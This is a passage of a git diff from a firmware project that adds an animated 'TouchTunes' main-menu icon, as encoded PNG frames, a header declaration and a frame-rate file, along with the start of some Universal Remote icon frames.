{.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = {.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 94de03f1b..c824d97fc 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -109,6 +109,7 @@ extern const Icon A_Power_14; extern const Icon A_Settings_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; +extern const Icon A_TouchTunes_14; extern const Icon A_U2F_14; extern const Icon A_UniversalRemote_14; extern const Icon A_iButton_14; diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..d6c97146d818a4eb321bfdc31bb1e4823502294c GIT binary patch literal 470 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX>w~ag8WR&d<$F z%`0JW_jFSzN-fT;N=;G7&r`@KDJdwn($`O|O3zHw11i#oNIocd1q>1fRgl({#FA92 zCk1w@};-9yoko1c=IR*74K_qw1Ypaup{ LS3j3^P614Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..479fbd58b591c8277f06ec1225ee29ee095c8564 GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..1ece97a6f2ea99c186f3abaf446df51e4131a8ed GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y*we)^gyXvDxs6^ zX1}o7BUm1N#M;7y%TXZdv!qIUvy78f{Net`#(VSiE#6u$DLTO$_B-0-X?9wz`5}MZ z;y*?G?|Frm&7SrxcUI*ZId-0TtCW?d-R|hKdAa7?@fa8(W#0Y8x0>0nz7I_fRzC=BH$)RpQp*y)GyTsDZ)L L)z4*}Q$iB}Q}~Lk literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..d85fa6ebca3cf45527524850e696081f1aadb738 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N`%O z`W>G#!(83(tc_vbs!5w}xfq3Ityp_PqK$8tfy&~l_yb8%ORsc080_lbw%+>5?ej+} z_WW7lyr*9M`Gn^WZ5-dbl`}kUs(<6Cx9{TC?`A+ps+PD$l%ynG literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..1f5ff11cbc23d74343a5b6a6ad1dc61b9d44f0e3 GIT binary patch literal 397 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)zif>gyXtyzadw%0|SdY@A86qt*!O}0-w0Fop=2)T@w7q znTu0nlACX0X{Je1*Y2VjvC~TV9&BcgW17?8uG*Mi$S9s+F3D1qy*6}vaYx-g1GDTj z#b;`pU$k33S(sn2*1KU-+(FibVhygG!g^Y~yR>q)ce_hGKF7!F_y5`Pgo(*Ji)}YN z4Dk;%c_~tGhPD5$cZ0o+pMK_3ZMH(716500BT7;dOH!?pi&B9UgOP!ek*w=Pi8W=oX{an^LB{Ts5*Ts1t literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..8fbf8625c14e9522cbcf2bbaf5a9c59a43c2ae08 GIT binary patch literal 400 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H!_&nvgyXtyzdm=f1B3hgjr%1Lpc_?7Tq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvH`TeUM3mF_f_UqqW{Z8psp3jt|FX|ia>_0qz z#r6rVGw&x=Xm+}uI`Q^Yzj=(Lf4aroQ_|DbSLt5aFhhNZ-!Yb)PZnK|YCdm#Tliiz z=l_&#JG)PGw}~w&oahjAWaR>DTe$}XbIMq)ZpyxkT+Z`% zS7Lrh(npK`C)RECFP|`9syEoq;puLLqxM!Udb;y1?RtRjR4s9hC`m~yNwrEYN(E93 zMg~Skx(24Yh9)5frdGzrR;H%f1_o9@^!e326b-rgDVb@NxHWjM3rYfNVDNPHb6Mw< G&;$TK5sjVz literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..f3724bbde1a247fc66caf5a56bf8b2facbd30303 GIT binary patch literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%+tj&gyXvISw+640GR_1=ljPMMcixK%siJl!}OJ>4P*F2 z3AWkF2HeKVjBbUOHy)gE)cmKkLEX#QoHw3}�D?c`#+yfep4kI+1-V7N$JPl8^fG z_t*08ZijC(i_}h%W|*vQyQ;6(o~dVFXZBMzUMYvmEbEMpugKUqZCghlo1mxmNu!lP zf`tvyq4hgV?xuC+9G@AR&dAzwID2CSucCqQ27ZQXQgz$DIQc)X5|swJShd78q9i4; zB-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48 Ofx*+&&t;ucLK6U|y@bmE literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..ff34450d944f74517bd986e51df5c6c683462183 GIT binary patch literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvISwpYG0SpWmrauwZaa-FVd!$3xs;sD3tKaWt|zHpXfhvfE;SNCUFZeA&Ec%_TRt6bt-1zFmJ+ z)RcX1gQK0omPAixH{#i)<&;glJzGZ z8kMb+TfP?PeAN=yh?11Vl2ohYqEsNoU}Ruqq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;X eL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7Yaw3eL! literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..2b61340cba323b443891bfc2d1a29d61f781c469 GIT binary patch literal 427 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+0(@_gyXvId3$cgLYan-&(FPo@kf1n&=j3b5jS$;Is@I_ zyJ^NX98Fkorb|UK=U?vef+@o5_O%(;ZF_!^C9j&{lw`nx4>ICg+!wySd~TWJO|ym$ z9~nWxbR8wDm>6M&k2f36ZTkL+;m(T;#|1`j*LWK~u*&~>xay*fYZJqgbIX>#I_h|- zpmB+5_H&bicdNJ;d|ZH#L1(v+uUO_QmvAUQh^kMk%5tsu7Rnpp-G5=sg<#@m8q$=fq@keeSUQh eMMG|WN@iLmZVle+f|7t57(8A5T-G@yGywp`fS8s5 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..9420c763fffc590092d0d55b554f30feeceb6cd8 GIT binary patch literal 426 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$*;`j_m2`=xLvC`eLVAarIT5gpD*Z)hk@=M~ldAUB-)a1K z_oN?}{N<^Feb1z;gADFOoz>kR?|=JPO4uFiKWn$XDHpEX?!fg*UACUj>mOqvyOZ9L zBT1D&*Q=JeMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y-P6S}gyXvEIYaH1LK%h!&;P%F7w7uw(pRaJz)3n{_YXc2 zzQMEUw~^aZ<`Yw&uH#W-lhojBE;(BLuB&9?AD;I=a{RegS#P+su<`Ko$Qqq@*VjCI z?o_p2L21|Gj*dWcC8Om#dEc%~-t_Nl0ng)y&hd8d-|qEI__XQr?h~noCmiHNQoDXH zzIs-y?%cX<(}Q=&PF25AH8*m4Q}fc7Z{EKy+@5DsD>mJ1pSG#^tj@5_4qU6GdG}wl z`ok>r$H{H-rWJNTFQ}HdMwFx^mZVxG7o`Fz1|tI_BV7YiT|<))15+zwV=GfrZ36=< jAo~339*TzC{FKbJO57T}*99d3H86O(`njxgN@xNAcITV8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..e9527fa833491eff3316cd410a901508344f1179 GIT binary patch literal 424 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y!PCVtgyXvExrJWLg)$5e-q-K478E>YXwcD-nITfczWM0B z2i!l5y3M+i&u*}7EC`I;wcz0)d3}p!qbKPRe{M~0+Qal%aCb$8{gLY@|4#e4g72lV zv&)&^9UXOYf~=d1I1U%NC0;C(EV`~Ia<=GFe!^w{X}*Esu}neXS2gd+9lu`vqcZO9 zyyX|x_|JFR_4CI5DNQeLGVZ&*J9lwxxc<7j&AR>UokanPtUs^z*^4XxV^n$V14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$YVmxV$pEMJR$-=0RQDmEJEGEez`JuDH25=U{}d1EyNU3=Kf%IJ?Y|` z8Q3lcbiHbcYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCrdtFcxPy>UftDnm{r-UW|_-&5! literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..2109273f0538a073ab31357ea73ca5d6ef928442 GIT binary patch literal 418 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y%G1R$gyXvE*@a%ri3|)6-v8hDPlrb)T@IPZ3eYKokH`;F`Tf204uo4&4o)<4s-CmB5xGVNXGem-K)sAc8lE8^e}bhT=U zYeY#(Vo9o1a#1RfVlXl=GSW3L)ipE;F)+0cptHiCr TdtFcxPy>UftDnm{r-UW|SWb=} literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..0c7e9eaa9acfc11c5ba98495c64feb772ce07b6b GIT binary patch literal 419 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+SA1`gyVYX`Hfsn4h#(s|MyKkFe^%?g-v|vx2(=%w-zmb zF|&#({=mX*3zjajJmSg1&Z>N(&H1I&9I5{=AB(fiS`@nF)J6x!i)fnra&uSOL-JSNBjf;M1& literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..4c283af6cc3dd76ef888f62b770519219a2d79d2 GIT binary patch literal 425 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y(bL5-gyXtypCLD6B7?*IxsN?wc6q!sk~os2$QBu)`>(0~ zLHXSxH#OCygu+0tSFgG^Y1E#oJy&q=SKIe30u>qx(^z>D%>0?x|6?dQFgZ;r(d&Ia z_ugCLcdePCPH1JQHGaSLV!>m*BfJmP#Pl|P%G`ANDdT^uGQC}ES?XIhZT;}TyM(P^jg7!02l4F2+--9u6g;Q}?C*+$5EIK(@i=1M}oG>y=+$ zUJ3;|UbVzEq9i4;B-JXpC>2OC7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM` ar(~v8;@053E+`48fx*+&&t;ucLK6UXX_27- literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..750aec1627b2bcb3a822647a39c185312a4276f8 GIT binary patch literal 415 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y+|$J|gyXvIxs6;+0U`|#@1J&^(qYiFd#jb_Wc>>QzI#*k zFHABq`NGCq&d1WOAn;bLiQUh+*8hVm*A}K5JR1&tHDb2gtt)Y${l=||4-QKT;w>KB z%st@nK6ci!m7i@Tp4{kVNG=!QnR+I>p-NAbP27V)sOfNk*jXvTYrcU^uS%r9)LeUL zw$hF3YPRX5Jz>A^zf%0z>HPcI_EXNAW6Tu)ug^HDWX8O2x{C8O)?mIIpp#WgTq814Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H*VDx@gyXvIxxHD30vH-DKK8xB9Tc-g_6}=$yn_|%uRTue zFQrAo+w+vFrYigsQ8Bryc<%m(xz}XdrEUsX+U>9UQLE1p5xVhq?^Uj~*7w)v|986O zKYLeXdD5FT<{WRP3D3|eXAxU0^XX#Kfd|*xzU4Y3gykhhpW`_4Xw9lQ-8T&Srng)^ z9sKoi{=3CKXHWc?_3LkmtbHh7>9TWe6$~!5#&P9~w%i0dRJFu4q9i4;B-JXpC>2OC z7#SED=^B{o8k&R{m|7VdTbY__8yHvt(dSq9P&DM`r(~v8;@053E+`48fx*+&&t;uc GLK6TW7K_OM literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..17007aad5b72394efd0dc44c1695aa84df0dbba8 GIT binary patch literal 394 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$RT|6Y<(mnr^A%=$9Fa`m*%uN!`D-e>!} zB&zh{QtgRLxescKOyrM!rQKXPsvQH#I3=5T~HEG1B0ilpUXO@geCx6DTF`( literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..4c03a8101928e3271e518ca78035200e788ad972 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>Nq6`gxmuO$_jb>;+NNMOnR8l6h2;5yokve>Wxd+das69i$e*y^XWk!`dFlSFXuI3z zwuWB@1~RWYr&~>Y<(+mtC-HU(OVCZna5bi<&p3|z&b)o^z=HX1%a@;LuRq;C{mkv3 zukRMu&vsj_!BW_o^yJpP#no%l{xExO(qWTKIK2kwNYxV8h?11Vl2ohYqEsNoU}Ruq zq-$WRYiJT;U}|M-Y-MVyZD3#pM4w;XL(!0%pOTqYiCcsBx}YSW1_n=8KbLh*2~7a5 C2#f>( literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..334498adcefb0195df99757781c744a567450337 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N54HEbeSUg?YOYrz7>ylu^-mseD<8D|KFNtYrh9~{>#rQTgEIC z-Z4?1tLv!3hBMJyK5csT)S&U?LnohUcOK45IkM%rcSPUqg}&TfTX+^w=Pi8W=oX{an^LB{Ts5 DS00MI literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..b203dc30275055bbe87d8475ad1ffff70af7a57e GIT binary patch literal 404 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H$J50zgyXvIS;MSD2@DMvrzglTm1(G4RlVT5VRch;`v<+f z0s0AH=O1JVd&#z}n-=87@keWkv(dh%zZdnLW}lJX^WodqhW(GWKL7q^qwwE9uV&`Y zFVquE4&1io>7w)%(==ah;yUu?GH=c$Tf<6W1rtld*E#IFbM7uzyY8^VudT?`_UhM_ zE86lc>g3ksB|ZoiGV~L2k)2+yT&^$q|5>y?lk&ab2%tMvOI#yLQW8s2t&)pUffR$0 zfsv7}fvK*cNr-`|m9epvsj0SsffW#aesvE;LvDUbW?Cg~4c_a5l7Jc*JYD@<);T3K F0RT@yh=2e9 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..3e17c6c76ba81c56c52edd21147e6b1d5e692607 GIT binary patch literal 410 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y$kW9!gyXvIS;MSD2@(wt)mMHhe-*%S@Tf0G$y-*NCi4#h zdmG$ea&FpT&21%BBFdt;RK(GssYdqE51se3S>MWqurk-k-!G7?|N2LAZ~L3?{^u{| z^d$Gngx(0LmpaKffBJ@;=TDZL+`4$TUr_wL zY3<7_r`&%2eV=4r&9T2Hl~VV(HR@!P$Jx|~{9$%au$)14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..479fbd58b591c8277f06ec1225ee29ee095c8564 GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_rate b/assets/icons/MainMenu/TouchTunes_14/frame_rate new file mode 100644 index 000000000..e440e5c84 --- /dev/null +++ b/assets/icons/MainMenu/TouchTunes_14/frame_rate @@ -0,0 +1 @@ +3 \ No newline at end of file diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_1.png b/assets/icons/MainMenu/UniversalRemote_14/frame_1.png new file mode 100644 index 0000000000000000000000000000000000000000..8d135853f5ec8f6905074e662b76e8d2bdd4535b GIT binary patch literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlLmdKI;Vst0H}aDT>t<8 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_3.png b/assets/icons/MainMenu/UniversalRemote_14/frame_3.png new file mode 100644 index 0000000000000000000000000000000000000000..c64bad5f2f2f43005e57613bf0acf6e743a64c90 GIT binary patch literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_4.png b/assets/icons/MainMenu/UniversalRemote_14/frame_4.png new file mode 100644 index 0000000000000000000000000000000000000000..efd7181f0a36490d555a6e16df3bf2c457d592f2 GIT binary patch literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/UniversalRemote_14/frame_5.png b/assets/icons/MainMenu/UniversalRemote_14/frame_5.png new file mode 100644 index 